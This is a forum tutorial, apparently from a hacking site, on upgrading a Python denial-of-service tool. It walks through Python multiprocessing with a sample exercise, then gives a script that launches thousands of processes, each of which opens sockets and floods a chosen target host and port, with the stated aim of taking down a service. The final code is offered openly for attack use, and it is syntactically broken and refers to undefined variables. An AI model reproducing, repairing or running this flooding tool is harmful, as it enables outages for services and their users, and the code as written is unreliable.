chevron_left chevron_right
Login Register invert_colors photo_library


Stay updated and chat with others! - Join the Discord!
Thread Rating:
  • 0 Vote(s) - 0 Average


Tutorial PyDoSing extended 1 - Upgrading your python DOS tool PARALLELISM filter_list
Author
Message
PyDoSing extended 1 - Upgrading your python DOS tool PARALLELISM #1
If you haven't already, check out Duubz's tutorial on making a very basic DoS tool in python:
https://www.sinister.ly/Thread-PyDoSing-...n-DoS-Tool

However, the tutorial creates a very weak DoS tool, i'll show you how to upgrade it in this one.

Introducing Parallelism:
Parallelism describes one programming doing multiple (parallel) calculations at once, and as such requires multiple processors. (Not to be confused with multithreading, when one processor quickly switches between tasks). The reason this is necessary, is because python's sockets, as made in the previous tutorial, will wait for a response from the target before sending another packet. In the mean time, our "attacking" computer is just sitting by twiddling it's fans. If we want to take down a service, we don't want to wait for a packet to come back, we just want to send everything we can as quickly as we can.

Using parallelism:
The following code is taken from the python reference here
Code:
from multiprocessing import Process, Queue

def f(q):
    q.put([42, None, 'hello'])

if __name__ == '__main__':
    q = Queue()
    p = Process(target=f, args=(q,))
    p.start()
    print(q.get())    # prints "[42, None, 'hello']"
    p.join()

As you can see, you need a function to be the "target" of the new process, and can pass it arguments, which is all we really care about, since we're making a DoS tool. To make sure you understand how multi processing works, write a script that uses one processes to check for even factors of 1000, and another process to check for odd factors of 1000. There are many solutions, my answer is below.

Spoiler:
Code:
from multiprocessing import Process, Queue

def factorby2(start, q):
    num = start
    while(num < 1000):
        if(1000 % num == 0):
            q.put(num)
        else:
            pass
        num += 2


if __name__ == '__main__':
    queue = Queue()
    p = Process(target=factorby2,args=(1,queue,)) #Creating a factorby2 with a start of 0 will not work
    p.start()                                     #Because you are not allowed to use the remainder/modulus(%)
    p2 = Process(target=factorby2,args=(2,queue,))#Operator with 0 on the other end
    p2.start()
    p.join()
    p2.join()
    while(not queue.empty()):
        print(queue.get())

To DoS, we need to do something similar, but we don't even need to worry about returning anything. (We trust that the packets get sent, and don't really care about it if they error out). Taking the code from Duubz's tutorial, we can modify it to send DoS attacks in parallel.

Code:
##import socket, Process, and Random
##Get a target, and port to attack
def dos(target, port):
    try:
        (socket.socket(socket.AF_INET, socket.SOCK_STREAM)).connect((target,int(port)))
        (socket.socket(socket.AF_INET, socket.SOCK_STREAM)).send(packet)
        (socket.socket(socket.AF_INET, socket.SOCK_STREAM)).sendto(packet,(target,int(port))
        (socket.socket(socket.AF_INET, socket.SOCK_STREAM)).send(packet);
    except error: pass

if __name__ == '__main__':
    for i in range(0,(random.randint(5000,50000))):
        p = Process(target=dos,args=(target,port,))
        p.start()

I put a lot of work into writing these tutorials! If you copy/paste this somewhere else, or see it copy/pasted somewhere else, please link back here!
Thanks for reading! Comments, criticisms, ect. below!

Next - https://www.sinister.ly/Thread-Tutorial-...l-SPOOFING
[Image: jWSyE88.png]

Reply






Users browsing this thread: 1 Guest(s)